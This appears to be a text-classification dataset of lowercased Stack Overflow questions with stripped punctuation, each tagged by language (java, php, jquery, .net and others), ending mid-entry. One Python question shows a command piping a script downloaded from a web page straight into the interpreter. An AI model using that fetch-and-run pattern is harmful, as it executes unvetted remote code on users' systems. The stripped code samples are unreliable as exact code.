scrolling vertically  i am using the following code to scroll image on scrooll view    <pre><code>storyviewscroller = [[[uiscrollview alloc] initwithframe:cgrectmake(0.0f  79.0f  320.0f  262)] autorelease]; storyviewscroller.contentsize = cgsizemake(npages * 320.0f  storyviewscroller.frame.size.height); storyviewscroller.pagingenabled = yes; storyviewscroller.delegate = self; storyviewscroller.showshorizontalscrollindicator = no; storyviewscroller.scrollstotop = yes; // load in all the pages for (i = 0; i &lt; npages; i++) {     nsstring *filename = [nsstring stringwithformat:@ %d.jpg   i+1];     uiimageview *iv = [[uiimageview alloc] initwithimage:[uiimage imagenamed:filename]];     iv.frame = cgrectmake(i * 320.0f  0.0f  320.0f  262);     [storyviewscroller addsubview:iv];     nslog(@ i is :: %d   i);     [iv release]; }  [self.view addsubview:storyviewscroller]; </code></pre>   this enable mein tos scroll view from left to right and vice versa.what should i change to sroll view to top to bottom and vice versa.    sugggestions    regards,iphone
is it possible to debug an ad-hoc version of an iphone app on iphone using xcode   i have an app that reads and writes data from sqlite3.  i tested it on the simulator it looks like everything is ok.  but if the ad-hoc version does a  delete  or  insert  query in the sqlite3 file on iphone  it crashes.    is it possible to debug ad hoc versions of iphone apps with xcode,iphone
text larger on iphone  i have a scrolling footer. the scrolling area has the same size in pixels assigned to it as its static title  news tweets : <a href= http://smartpeopletalkfast.co.uk/pp-new/  rel= nofollow >http://smartpeopletalkfast.co.uk/pp-new/</a>    on my computer and ipad everything is fine  but on an iphone the scrolling area of the text is larger. as it all has the same css i can t figure out why this is happening.    thanks,iphone
error in enumarated value  when i am trying to update my table  it shows me error:    myquery :   <pre><code>update tablename set mytype= abcd  where id= a1245  </code></pre>   error : the enumerated value  abcd  may not be used in the element  account type  in this request. .    info: mytype is varchar     any idea,sql
storing the accessor to innerhtml as a var  <strong>i was trying to figure out a way to do the following</strong>   <pre><code>var foo = document.body.innerhtml; </code></pre>  <blockquote>    then call foo =  testing         and the body s html would read  testing   </blockquote>   but so far all that happens is innerhtml is returning the value of innerhtml ... <em>which is expected</em>     is there any way to store innerhtml and maybe do something like    <pre><code>var hold =  innerhtml   document.body[hold] =  foo   &lt;--- this does not work by the way </code></pre>,javascript
get data from another form  i have a listview in my mainform and i need to get the value in the textbox and label in the other form name add_order    <pre><code>add_order add = new add_order(); listviewitem item = new listviewitem(); item.text = add.textbox3.text; item.subitems.add(add.label6.text); item.subitems.add(add.textbox2.text); item.subitems.add(add.textbox1.text); item.subitems.add(add.textbox3.text); mainform.listview2.items.add(item); </code></pre>,c#
auto increment on duplicate   i am facing problem while my query is executing. while i am doing any changes my existing data and after that while i am inserting new data at that time db s id is incremented by no of time i have updated previous data.   <pre><code>query =  insert into emp_mst(emp_code  emp_sbu  emp_name)                      +   value(     )                      +   on duplicate key update `emp_name`=  ;    conn = cloudconnection.getconnection();          ps = conn.preparestatement(query);          ps.setstring(1  e.getemp_code());         ps.setstring(2  e.getemp_sbu());         ps.setstring(3  e.getemp_name());           ps.setstring(4  e.getemp_name());          ps.executeupdate(); </code></pre>   and my unique column is emp_code.,mysql
java bank account with arrays. trouble with output of three accounts  new class   <pre><code>public class newclass {     private string accountnumber;     private string accountname;     private double balance;      public newclass(string namein  string numberin) {         accountnumber = numberin;         accountname = namein;         balance = 0;     }      public string getaccountname() {         return accountname;     }      public string getaccountnumber() {         return accountnumber;     }      public double getbalance() {         return balance;     }      public void deposit(double amountin) {         balance = balance + amountin;     }      public boolean withdraw(double amountin) {         if (amountin &lt; 0 &amp;&amp; balance &lt; 0) {             return false;         } else {             balance = balance - amountin;             return true;         }     }      public void setaccountnumber(string accountnumber) {         this.accountnumber = accountnumber;     }      public void setaccountname(string accountname) {         this.accountname = accountname;     } } </code></pre>   main class   <pre><code>public static void main(string[] args) {     string accountname =   ;     string accountnum =   ;     scanner sc = new scanner(system.in);     boolean isaccount = false;      newclass[] accountlist = new newclass[3];     accountlist[0] = new newclass(accountname  accountnum);     accountlist[1] = new newclass(accountname  accountnum);     accountlist[2] = new newclass(accountname  accountnum);     int i = 0;     int count = 3;     while (i &lt; count) {         double amount;          system.out.print( enter the account name:  );         accountname = sc.next();         accountlist[i].setaccountname(accountname);         system.out.println( enter the account number:  );         accountnum = sc.next();         accountlist[i].setaccountnumber(accountnum);         system.out.print( enter amount to deposit:  );         amount = sc.nextdouble();         accountlist[i].deposit(amount);         system.out.print( enter amount to withdraw:  );         amount = sc.nextdouble();         accountlist[i].withdraw(amount);         i++;     }     while (i &lt; count) {         system.out.println(accountlist[i].getaccountnumber());         system.out.println(accountlist[i].getaccountname());         system.out.println(accountlist[i].getbalance());     } } </code></pre>   i am new to java programming and am having trouble with my bank account program. the output is to show three accounts each containing a name  account number and balance. this i cant get to show. any help would be greatly appreciated. thank you.,java
more elegant way to update index into circular list   i have a list of questions that the user will iterate through  they can start at any question  but they do have a order to them  so in order to do this i just maintain an index into the array and increment it like so:   <pre><code>currentquestion = (++currentquestion &lt; questions.length)   currentquestion : 0; </code></pre>   it isn t necessarily obvious what is happening here  is there a more elegant way to do this,c#
casting double to integer  i am running into a casting issue.  i cannot seem to figure out the problem since everything appears to be in order.  i understand that to explicitly cast from the double wrapper class to the integer wrapper class it can be done however  my compiler does not recognize it.  am i missing something obvious     the exact error i m getting is :  inconvertible types; cannot cast  double  to  java.lang.integer .    thanks for your help!   <pre><code>private hashmap&lt;string  integer&gt; shortestpath(string currentvertex  set&lt;string&gt; visited) {         double tempval = double.positive_infinity;         string lowestvertex =   ;          map&lt;string  integer&gt; adjacentvertex = this.getadjacentvertices(currentvertex);         hashmap&lt;string  integer&gt; lowestcost = new hashmap&lt;string  integer&gt;();          for(string adjacentnames : adjacentvertex.keyset()) {             integer vertexcost = adjacencymap.get(currentvertex).get(adjacentnames);             if(!visited.contains(adjacentnames) &amp;&amp; (vertexcost &lt; tempval)) {                 lowestvertex = adjacentnames;                 tempval = vertexcost;             }         }         lowestcost.put(lowestvertex  (integer)tempval);          return lowestcost;      } </code></pre>,java
how can i find the largest value n in this collatz conjecture code i created   i am a beginner coder  and i am trying to find the largest value of n  but i am having trouble. i have tried to use a for loop to search each element of the array i created  but the code returns 0 every time. is this method correct  i have tried entering the values of n into an array  but i am not sure if this is the correct method to go about solving this goal.   <pre><code>import java.util.*; public class collatzconjecture {     private static int max;     public collatzconjecture(int maximum){         int max=maximum;     }     public static void main(string[] args) {          arraylist&lt;integer&gt; arr = new arraylist&lt;integer&gt;();         scanner scan = new scanner(system.in);         system.out.print( type an integer:  );         int n = scan.nextint();         int count = 0;          while(n&gt;1)         {             if(n%2 == 0)                 {n = n/2;}             else                 {n = 3*n + 1;}             system.out.println(n +    );             count++;              arr.add(n);             arr.get(n);         }             for(int i = 0; i&lt;arr.size()-1; i++)         {             if(arr.get(i) &gt; max)             {                 int max = arr.get(i);             }         }           system.out.println(arr);         system.out.println( terminated after   + count +   steps );          } } </code></pre>,java
change text on button and enabled status after click button(asp.net)  i use asp.net to develop. here  i want the thing is that once i click button a (the text on the button a is  start )  then the text on the button a will change to  processing...please wait  and button a will become not clickable. then execute the stored procedure(the duration of stored procedure is 1 minute). after the stored procedure finishes  the text on the button a will change to  start  and button a will become clickable.    i tried that before stored procedure  i added these codes:   <pre><code>buttona.text =  processing...please wait ; buttona.enabled = false; </code></pre>   and after stored procedure  i added these codes:   <pre><code>buttona.text =  start ; buttona.enabled = true; </code></pre>   but the outcome is the text on the button a is not changed and button a is still clickable during the stored procedure is executing. can anyone tell me how to achieve what i want  thanks.    then i edit my aspx file to be below:   <pre><code>&lt;asp:scriptmanager id= mainscriptmanager  runat= server /&gt;     &lt;asp:updatepanel id= pnlhelloworld  runat= server  updatemode= conditional  childrenastriggers= true &gt;         &lt;contenttemplate&gt;     &lt;asp:button id= buttona  runat= server  onclick= buttona_click  text= start  /&gt;          &lt;/contenttemplate&gt;     &lt;triggers&gt;     &lt;asp:asyncpostbacktrigger controlid= buttona  eventname= click /&gt;      &lt;/triggers&gt;     &lt;/asp:updatepanel&gt; </code></pre>   but the text of button still remains the same and the button is still clickable.,asp.net
tracking the number of put/get methods on map using the java api  how can we track the number of calls on the get and put methods on a map .    i have seen somewhere about <code>jprofiler</code>  but i must say that i would like to know if the problem can be solved using the <strong>java api itself</strong>.,java
how do i delay ajax calls to the server in javascript   for the following code:   <pre><code>&lt;script src= http://ajax.googleapis.com/ajax/libs/jquery/1.8.0/jquery.min.js &gt;&lt;/script&gt; &lt;script&gt; $(document).ready(function() {     var delay = (function() {         var timer = 0;         return function(callback  ms) {             cleartimeout(timer);             timer = settimeout(callback  ms);         };     })();      $( div#main ).on( keyup    input[name=code]   function() {         delay($.getjson( /some-url/   function(data) {             console.log( here );         })  2000);     });  }); &lt;/script&gt;  &lt;div id= main &gt;   &lt;input name= code  /&gt; &lt;/div&gt; </code></pre>   does anyone know why i m getting the javascript error   <pre><code>uncaught syntaxerror: unexpected identifier </code></pre>   i am trying to delay sending keyup data to the server.,jquery
system.net.sockets.socketexception:  when is this exception thrown. can anybody help me to resolve this!    system.net.sockets.socketexception: no connection could be made because the target machine actively refused it 10.79.1.155:50912     at microsoft.web.services3.messaging.soaptcpconnection.connect()     at microsoft.web.services3.messaging.soaptcpconnection..ctor(uri remoteendpoint  soaptcptransportoptions options  isoapformatter formatter)     at microsoft.web.services3.messaging.soaptcptransport.createconnection(uri transportaddress)     at microsoft.web.services3.messaging.soaptcptransport.getconnection(uri destination)     at microsoft.web.services3.messaging.soaptcpoutputchannel.send(soapenvelope message)     at microsoft.web.services3.messaging.soapsender.send(soapenvelope envelope)     at manh.ils.general.wsehelper.send(session sess  string requesturi  string responseuri  string action  object messagebody)     at classws.receive(soapenvelope envelope),.net
how to fix: some required packages could not be installed. check internet connection  i m running on ubuntu 16  with java 8. i just downloaded android studio 2.1. when running android studio and trying to create a new project  i m getting the following error:  some required packages could not be installed. check internet connection     what is the problem and how can i fix it   it is really so hard to create a simple  hello world  android application,android
sessions_start returns true despite of internal error  following code:   <pre><code>    $s = @session_start();     logmessage($this-&gt;debuglevel   &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;  . print_r($s  true));     if ( $s === false )     {         // session not established!         throw new \exception( session could not be started );     } </code></pre>   i have configured memcached as session store. memcache is not running and this generates a notice:   <pre><code>   php notice:  session_start(): server xxx (tcp 11211) failed with ... </code></pre>   so far as expected  <strong>but</strong>  <code>$s</code> is <strong>always</strong> <code>true</code>  even if the session obviously can not be started at all.    q1: what s wrong with this  q2: how can i catch the error ...      <strong>edit:</strong>    this:   <pre><code>    if ( session_start() === false )     {         // session not established!         throw new \exception( session could not be started );     } </code></pre>   doesn t change anything. same as above. exception not thrown.    <strong>edit 2:</strong>    memcache (1)   <pre><code>        $mc = new memcachedconf();         session_save_path(   . $mc );         session_module_name( memcache ); </code></pre>   memcache (2)    it s a 300 loc class  main part:   <pre><code>        if ( $this-&gt;memcache == null )         $this-&gt;memcache = new memcache();         return $this-&gt;memcache; </code></pre>,php
articles related to hypernate in .net  i m looking for articles related hypernate in .net    can anyone recommend some,.net
check if values exist before insert into ... on duplicate key update <h3>background</h3>   i have an an application where users can submit reviews for a product. users can also edit previously submitted reviews or submit another one for the same product.    i am implementing an  auto-save  feature that saves the form data once every x seconds. if the page is accidentally closed  the user can restore this  draft .    this is a simplified version of my table:   <pre><code>create table `review_autosave_data` (   `id` int(11) unsigned not null auto_increment    `review_id` int(11) unsigned default null    `product_id` int(11) unsigned not null    `user_id` int(11) unsigned not null    `review` blob    `name` varchar(100) default null    primary key (`id`)    unique key `unique_index` (`product_id`  `user_id`)    key `fk_review_autosave_data_review_id (`review_id`)    key `fk_review_autosave_data_product_id (`product_id`)    key `fk_review_autosave_data_user_id (`user_id`) ) engine=innodb auto_increment=1 default charset=utf8mb4; </code></pre>   <strong>bear in mind that this table only stores the drafts - not the actual reviews</strong>. if we re editing a review <code>review_id</code> will point to that review. if we re in the process of creating a new review  this field will be <code>null</code>.   <hr>  <h3>what s working</h3>   this is my query for inserting a new draft:   <pre><code>insert into review_autosave_data (review_id  product_id  user_id  review) values (25  50  1   lorem ipsum ) on duplicate key update review =  lorem ipsum ; </code></pre>   this works fine for inserting <strong>new</strong> review-drafts. the indexes prevent inserting a new row where the combination of <code>product_id</code> and <code>user_id</code> already exist.   <hr>  <h3>what s not working</h3>   my problem is for inserting drafts for <strong>existing</strong> reviews  where <code>review_id</code> needs to point to an existing review because  ideally  the index here needs to be the combination of <code>product_id</code>  <code>user_id</code> <strong>and</strong> <code>review_id</code>. unfortunately in my case  the following applies:   <blockquote>    a unique index permits multiple null values for columns that can contain null  </blockquote>   while there are questions and answers about the above quote  i m not necessarily interested in achieving getting a null value be part of a unique index - but rather to find a workaround.    i guess i could first make a select query to check if the above combination exists  and if not proceed with the main query. but i d like to get all that into one query if possible. ideas     thanks.,mysql
c: using array  keeps giving me wrong output  i have been struggling with this all day  the output i get is all correct execept the middle result. if anyone can help me it would be great. the output i get is for id[a] instead of id[c]  it seems like in the loop the id for a is carried to c.   <pre><code>    int firsta=0  firsts=0  seconds=0  firstc=0  secondc=0;      for (row=0; row&lt;totalsize; row++) {          if (category[row]== a  &amp;&amp; ranking[firsta] &lt; ranking[row]) {             firsta = row;          }          if (category[row]== c  &amp;&amp; ranking[firstc] &lt; ranking[row]) {             secondc = firstc;             firstc = row;         }         else if (category[row]== c  &amp;&amp; ranking[secondc] &lt; ranking[row]) {             secondc = row;         }          if (category[row]== s  &amp;&amp; ranking[firsts] &lt; ranking[row]) {             seconds = firsts;             firsts = row;         }         else if (category[row]== s  &amp;&amp; ranking[seconds] &lt; ranking[row]) {             seconds = row;         }       }      printf( a : %d %.2lf \n   id[firsta]  ranking[firsta]);     printf( c : %d %.2lf \n   id[firstc]  ranking[firstc]);     printf( c : %d %.2lf \n   id[secondc]  ranking[secondc]);     printf( s : %d %.2lf \n   id[firsts]  ranking[firsts]);     printf( s : %d %.2lf \n   id[seconds]  ranking[seconds]);      return 0; } </code></pre>   input file   <pre><code>10 14 a 447 252 68 34 978 2 c 230 299 597 180 9 27 a 318 220 97 28 1317 32 c 563 450 547 112 28 8 c 669 260 200 36 171 11 s 179 45 1342 732 174 19 s 74 249 861 1165  6  21 a 757 240 97 119 2032 15 s 275 177 588 577 52 6 c 886 401 327 109 48 </code></pre>   expected output   <pre><code>a: 21 1171.00 c: 6 696.70 c: 32 578.00 s: 11 1094.20 s: 19 1046.50 </code></pre>   the problem is here  i get this   <pre><code>a : 21 1171.00 c : 6 696.70 c : 14 601.10 s : 11 1094.20 s : 19 1046.50 </code></pre>   the middle c is carrying the id of one of the a s. i can t seem to figure out whats wrong in my loop. any help would be appreciated!,c
scrolling text jquery  i am not jquery savy so this is probably my problem  but i want to use this:    <a href= http://jsfiddle.net/hgcv2/1/  rel= nofollow >http://jsfiddle.net/hgcv2/1/</a>    however the only problem is that i can t even get it to work outside jsfiddle. i have implemented jquery before so i thought this was no different but seems like my low knowledge on this is getting the best of me.    html   <pre><code>&lt;head&gt;  &lt;link rel= stylesheet  href= awwyea.css  type= text/css  media= all  &gt;  &lt;script src= http://ajax.googleapis.com/ajax/libs/jquery/1.8.0/jquery.min.js &gt; &lt;/script&gt; &lt;script src= yay.js &gt;&lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;div id= cycler &gt;       &lt;div&gt;a&lt;/div&gt;         &lt;div&gt;b&lt;/div&gt;         &lt;div&gt;c&lt;/div&gt;         &lt;div&gt;d&lt;/div&gt;         &lt;div&gt;e&lt;/div&gt;         &lt;div&gt;f&lt;/div&gt;         &lt;div&gt;g&lt;/div&gt;         &lt;div&gt;h&lt;/div&gt;         &lt;div&gt;j&lt;/div&gt;       &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   css   <pre><code>#cycler{   height:5em;   overflow:hidden;   border:1px solid gray; }​ </code></pre>   jquery   <pre><code>function cycle($item  $cycler){ settimeout(cycle  2000  $item.next()  $cycler);  $item.slideup(1000 function(){     $item.appendto($cycler).show();         });   }  cycle($( #cycler div:first )   $( #cycler ));​ </code></pre>   so simply put  why is it that when i run this code in a browser (chrome ie ff) using notepad++  with all the files in the same folder do i just have a static none scrolling:     a b c d    something just isn t working.,jquery
is it possible to install the .net framework partially   i m writing pretty simple application that maybe is only couple of megabytes. i don t want to make the end user download 20 or more mb of framework. what to do  is it possible to load only assemblies that i need  jit and all the things necessary for .net application  thanks,.net
how to execute a remote page   how do i exexcute python script found on a website  for e.g. following seems to work. but is it the right way    <pre><code>curl http://www.ics.uci.edu/~eppstein/pads/unionfind.py | python </code></pre>   i will like to know if i can import a webpage from python command prompt >>>,python
each(): array pointer doesn t work properly  please consider this code   <pre><code>var_export ($dates); while (list($key  $date) = each($dates)) {     echo( current =  .current($dates));     echo( key =   . key($dates)); } </code></pre>   result is    <pre><code>array (     [1359928800] =&gt; 1359928800 )  current = key =  </code></pre>   i expected it should return <code>1359928800</code>  where i am wrong,php
how to call an image button event in a function  i need  to call an image button event in a  function.  how to call   <pre><code> protected void imagebutton1_click(object sender  imageclickeventargs e)     {      } </code></pre>   this  my function   <pre><code> void  binddata() { // here i nee  to cal the  above image button event } </code></pre>   thank you,asp.net
custom edittextpreference and setonpreferencechangelistener not called  my listener is not getting called for some reason  this is what i have:    in preference file i have a custom edittextpreference:   <pre><code>    &lt;com.xxx.yyy.preference.preferenceedittextdialog         android:layout= @layout/preference_edit          android:title= @string/title          android:summary= @string/summary          android:defaultvalue=           android:dialogtitle= @string/dialogtitle          android:key= mypref /&gt; </code></pre>   i extend my class:   <pre><code>public class preferenceedittextdialog extends edittextpreference { </code></pre>   launching my activity:   <pre><code>startactivity(new intent(this  prefsactivity.class)); </code></pre>   definition:   <pre><code>public class prefsactivity extends preferenceactivity implements    onpreferenceclicklistener  onsharedpreferencechangelistener { </code></pre>   in here i register my setonpreferencechangelistener (which is not called).    however changing my preference file from:   <pre><code>&lt;com.xxx.yyy.preference.preferenceedittextdialog  </code></pre>   to default:   <pre><code>&lt;edittextpreference  </code></pre>   it all works. could someone help me to find the problem  somehow the listener is not propagated properly using my custom preference.    thanks!    @sam here my listener definition:   <pre><code>    myfield = (edittextpreference) getpreferencescreen().findpreference(key_preference);     myfield.setonpreferencechangelistener(new onpreferencechangelistener() {          @override         public boolean onpreferencechange(preference preference  object newvalue) {             boolean valid = true;         if(!validate(newvalue.tostring())) {                valid = false;             }             return valid;         }     }); </code></pre>,android
how to do jquery browser tab active after 2 minute   i have a problem with my website that if a user login to my website and he will move to another tab into browser so after 2 minute the website the tab going to be active that tab where my website is open.........,jquery
can i add metadata to a namedtuple   i have a namedtuple like so:   <pre><code>tup = namedtuple(      mydata   [          field_1            field_2     ]) </code></pre>   what i want to be able to do is attach metadata to each value  for instance  to know whether the fields are alphanumeric:   <pre><code>tup = namedtuple(      mydata   [         {name: field1   metadata: {is_alpha: true}}          {name: field2   metadata: {is_alpha: false}}      ]) </code></pre>   i can t find anything in the documentation defining any sort of interface like this  but im wondering if any of you know if its possible. thanks!,python
javascript object doesn t return a variable  i m using the function below inside express js  but i can t return the value of pw.generate. anyone knows why  i m kinda new to javascript.   <pre><code>  // create new xkcdpassword object   var pw = new xkcdpassword();    // set options for password generator   var options = {       numwords: 1        minlength: 5        maxlength: 8   };    var password = pw.generate(options  function(error  result) {     if(error){       return error;     }      // below variable now contains a password like  puppy      var newpassword = result.join(   );      // this does not work  somehow i cannot return the variable     return newpassword;   });    // below returns an undefined value   console.log(password); </code></pre>   so the variable  newpassword  does contain the password  inside pw.generate. i cannot use it outside pw.generate. is it because the function which need to return the password  is used as a paramater     edit: @scx gave me the solution for using a callback  because of the combination of the asynchronous and synchronous methods. i m using a promise now as a callback  works great  this is my updated code:   <pre><code>function updatepassword(user) {   var deferred = q.defer();    // create new xkcdpassword object   var pw = new xkcdpassword();    // set options for password generator   var options = {       numwords: 1        minlength: 5        maxlength: 8   };    var password = pw.generate(options  function(error  result) {     if(error){       return error;     }     var newpassword = result.join(   );      user       .updateattributes({         password: newpassword       })       .success(function(){         deferred.resolve(newpassword);       })       .error(function() {         deferred.reject();       });   })   return deferred.promise; }  module.exports = {   passwordreset: function(req  res  next) {     updatepassword(user)     .then(function(password){       next();     }  function(){       // error     });   } } </code></pre>,javascript
grouping by time range  i have data as below:   <pre><code>name    starttime    endtime   abc      10:00       10:21 bcc      10:00       10:01 bcd      10:11       10:16 dff      10:20       10:21 </code></pre>   now first i need a total count for all activities for every 5 minutes within start time anf end time from on the hour which i only have got by the start time as following :   <pre><code>select time  count(*) as [count] from (select convert(char(5)  dateadd(minute  floor(datediff(minute  20000101  starttime)/5.0)*5   20000101 ) 108) from tablename) as time(time) group by time </code></pre>   this gives me my totals every 5 mins as below :   <pre><code>10:00 2 (between 10:00 and 10:04:59) 10:05 0  10:10 1 10:15 0 etc..... </code></pre>   now i need to count the activities between start time and end time   <pre><code>10:00 2 (between 10:00 and 10:04:59) 10:05 1  10:10 2 10:15 2 etc..... </code></pre>,sql
bitmapdata.scan0 returning address outside available memory  i have a system.drawing.bitmap (.net 4.5) and am attempting to get the address of the data to pass to a library.   <pre><code>dim wholeimage as new rectangle( 0  0  bmp.width  bmp.height ) dim bmpdata as bitmapdata = bmp.lockbits(wholeimage  imagelockmode.readonly  pixelformat.format8bppindexed) dim addr as int64 = bmpdata.scan0.toint64 ... bmp.unlockbits(bmpdata) </code></pre>   the problem i m having is that the returned address is way outside memory limits. for example  in one case it returned 2498220982272 (0x245a9930000). which would only make sense if the pc (win10 pro) had at least 2.3tb of ram rather than the 16gb it actually has. other information (height  width  stride) all seems to make sense.    am i doing something wrong here  the code works fine on another pc (win7 pro  8gb).,.net
how to overcome  an array is allocated or declared with size zero  restriction   i have next structure   <pre><code>typedef struct _command_message {     r_command command;     size_t datalength;     uchar data[]; } command_message  *pcommand_message; </code></pre>   i am using data as buffer to pass data between kernel and user mode. now i want to read a wide string from buffer.   <pre><code>// wchar_t mymessage2[100]; - works wchar_t mymessage2[cmd-&gt;datalength]; //c2466: an array is allocated or declared with size zero. int byte_offset = 0;     // read message from the data stream wcscpy(mymessage2  (wchar_t*)&amp;cmd-&gt;data[byte_offset]); </code></pre>   how to initialize wchar array of known length from cmd->datalength  i don t know at compile time max string size. it can be huge sometime.,c
playing video file from sd card  i m trying to play a video from sd card  i hav push-ed a video into mnt/sdcard folder from ddms view in eclipse.but the emulator screen shows blank without any error. pls help.   <pre><code>public class video extends activity { private mediacontroller mc; @override public void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);      videoplayer( mnt/sdcard   bikekid  true); }   public void videoplayer(string path  string filename  boolean autoplay){     //get current window information  and set format  set it up differently  if you need some special effects     getwindow().setformat(pixelformat.translucent);     //the videoview will hold the video     videoview videoholder = new videoview(this);     //mediacontroller is the ui control howering above the video (just like in the default youtube player).     videoholder.setmediacontroller(new mediacontroller(this));     //assing a video file to the video holder     videoholder.setvideouri(uri.parse(path+ / +filename));     //get focus  before playing the video.     videoholder.requestfocus();     if(autoplay){         videoholder.start();     }   }  }/// end class </code></pre>,android
how to find and extract link from webpage   i have website   e.g <code>http://site.com</code>    i would like fetch main page and extract only links that match the regular expression  e.g <code>.*somepage.*</code>    the format of links in html code can be:   <pre><code>&lt;a href= http://site.com/my-somepage &gt;url&lt;/a&gt;  &lt;a href= /my-somepage.html &gt;url&lt;/a&gt;  &lt;a href= my-somepage.htm &gt;url&lt;/a&gt; </code></pre>   i need the output format:   <pre><code>http://site.com/my-somepage http://site.com/my-somepage.html http://site.com/my-somepage.htm </code></pre>   output url must contain domain name always.     what is the fast python solution for this,python
visualstudio code csharp debugger generating error  i recently upgraded my version of visualstudio code to the latest release and am i getting an error when trying to debug csharp applications.  i am running in windows 10 (14393) and am using vs code 1.23.1.  i have an application that i created a few months ago using visual studio code and at the time it was working fine.  it is a mvc application that uses dotnetcore2.0.  when i try to run debugging i get a message  command  csharp.coreclradapterexecutablecommand  not found.  i can execute the application by running  dotnet run  from the project folder.    i tried creating a new blank console application that just says  hello world  and again am able to run from  dotnet run  but when i try to debug i get the same message.  i am able to run the build task successfully.    i tried to reseaerch the method mentioned in the error but can find little to nothing about it.  i believe that omnisharp is the solution that the csharp debug runs in and i looked it up.  from their documentation it says that it needs .net framework 4.6 to work.  i verified that i have the sdk and runtime for each .net framework installed.    i am usually pretty good at figuring things like this out and this is my very first post on stack.  i am hoping that someone might know what the heck this is so that i can move forward.    it would be good to note that i have tried to reboot my machine several times and even uninstalled/reinstalled vs code.  an example of the launch.json file is below.   <pre><code>{ // use intellisense to learn about possible attributes. // hover to view descriptions of existing attributes. // for more information  visit: https://go.microsoft.com/fwlink/ linkid=830387  version :  0.2.0    configurations : [     {          name :  .net core launch (console)            type :  coreclr            request :  launch            prelaunchtask :  build            program :  ${workspaceroot}/helloworld/bin/debug/netcoreapp2.0/helloworld.dll            args : []           cwd :  ${workspaceroot}            stopatentry : false           console :  internalconsole      } ] } </code></pre>,c#
html table display for browser detection  i just found a website <a href= http://www.browser-details.com/browser-detection/  rel= nofollow >http://www.browser-details.com/browser-detection/</a> which shows some of the details of the user s computer system.     as i am learning html tables display  i tried displaying the above site similarly through html. i am very sure this is not exact code to retrieve and display information like the above site  but i just want to confirm whether my way of writing html code is proper or not.    here is my code sample to display details:   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;table width= 100% &gt;  &lt;tr&gt; &lt;td&gt; &lt;div style= background-color:red; &gt; &lt;table align= center &gt; &lt;th&gt;browser&lt;/th&gt; &lt;/table&gt; &lt;div style= background-color:blue; &gt; &lt;table align= center &gt; &lt;td&gt; slim browser &lt;/td&gt; &lt;/table&gt; &lt;/div&gt; &lt;/div&gt; &lt;/td&gt;  &lt;td&gt; &lt;div style= background-color:red; &gt; &lt;table align= center &gt; &lt;th&gt;operating system&lt;/th&gt; &lt;/table&gt; &lt;div style= background-color:blue; &gt; &lt;table align= center &gt; &lt;td&gt; windows 7 &lt;/td&gt; &lt;/table&gt; &lt;/div&gt; &lt;/div&gt; &lt;/td&gt;  &lt;td&gt; &lt;div style= background-color:red; &gt; &lt;table align= center &gt; &lt;th&gt;ip address&lt;/th&gt; &lt;/table&gt; &lt;div style= background-color:blue; &gt; &lt;table align= center &gt; &lt;td&gt; 117.85.48.222 &lt;/td&gt; &lt;/table&gt; &lt;/div&gt; &lt;/div&gt; &lt;/td&gt; &lt;/tr&gt;  &lt;tr&gt;  &lt;td&gt; &lt;div style= background-color:red; &gt; &lt;table align= center &gt; &lt;th&gt;javascript&lt;/th&gt; &lt;/table&gt; &lt;div style= background-color:blue; &gt; &lt;table align= center &gt; &lt;td&gt; enabled &lt;/td&gt; &lt;/table&gt; &lt;/div&gt; &lt;/div&gt; &lt;/td&gt;  &lt;td&gt; &lt;div style= background-color:red; &gt; &lt;table align= center &gt; &lt;th&gt;cookies&lt;/th&gt; &lt;/table&gt; &lt;div style= background-color:blue; &gt; &lt;table align= center &gt; &lt;td&gt; enabled &lt;/td&gt; &lt;/table&gt; &lt;/div&gt; &lt;/div&gt; &lt;/td&gt;  &lt;td&gt; &lt;div style= background-color:red; &gt; &lt;table align= center &gt; &lt;th&gt;color depth&lt;/th&gt; &lt;/table&gt; &lt;div style= background-color:blue; &gt; &lt;table align= center &gt; &lt;td&gt; 24 &lt;/td&gt; &lt;/table&gt; &lt;/div&gt; &lt;/div&gt; &lt;/td&gt;  &lt;/tr&gt;  &lt;/table&gt; &lt;/html&gt; </code></pre>   please correct me if i am wrong. thanks in advance.,html
dynamically skype web control tags  i can t make call and video call after i put skype web control. it shows this issue:    <blockquote>    skype web control blob does not exist.  </blockquote>   so  what can i do to find solution for this issue,javascript
how does below method work in java   i am go through the below method but not getting how my seniors designed.   <pre><code>public linkedhashmap&lt;string ipdffield&gt; getfields() {         linkedhashmap&lt;string  ipdffield&gt; fields = new linkedhashmap&lt;string  ipdffield&gt;();          //^field1c^lastname^namesuffix         // line one         addfield(fields  1_1   new pdffield(27+x_off  718+y_off  new fieldwidthvalidation(134f   ^field1_1^firstname^middlename^lastname^namesuffix )) { //pi tab             @override             public string getprintabletext(object o) {                 disposition d = (disposition) o;                 return dataformattingservice.normalizedpersonname(                         d.getfirstname()  d.getmiddlename()  d.getlastname()  d.getnamesuffix()                 );             }         }); } //getfileds method ends </code></pre>   from above method they have called below addfield method but what is getprintabletext inside addfield method   <pre><code>private void addfield(hashmap&lt;string  ipdffield&gt; fields  string fieldkey  ipdffield field) {          field.setfieldkey(fieldkey);         if (field.getvalidation() != null) {             field.getvalidation().setfield(field);         }          fields.put(fieldkey  field);      } </code></pre>   above is not full code   the main functionality is we are trying to write content into pdf but i don t want to paste my full code i just need explanation for above logic,java
trigger events in html rendered with ng-bind-html  <a href= http://plnkr.co/edit/az6iehyaurv9ghatnlyt p=preview  rel= nofollow noreferrer >in this plunk</a> i have an html table in a variable. i render the table with <code>ng-bind-html</code> and that works fine. the problem is that i cannot trigger events when cells are clicked. for example  <code>ng-click</code> at the cell level doesn t call functions declared in angularjs. how to capture the clicks     html   <pre><code>&lt;div ng-bind-html= html &gt;&lt;/div&gt; </code></pre>   javascript   <pre><code>var app = angular.module( app   []); app.controller( ctl   function ($scope $sce) {            var htmltable = `             &lt;table border= 1 &gt;                 &lt;tr&gt;                     &lt;td ng-click= clicked() &gt;                         $39 431.67                     &lt;/td&gt;                     &lt;td ng-click= clicked() &gt;                         $14 861.50                     &lt;/td&gt;                     &lt;td ng-click= clicked() &gt;                         $7 848.97                     &lt;/td&gt;                     &lt;td ng-click= clicked() &gt;                         $16 721.20                     &lt;/td&gt;                 &lt;/tr&gt;         &lt;/table&gt; `;          $scope.html = $sce.trustashtml(htmltable);      $scope.clicked = 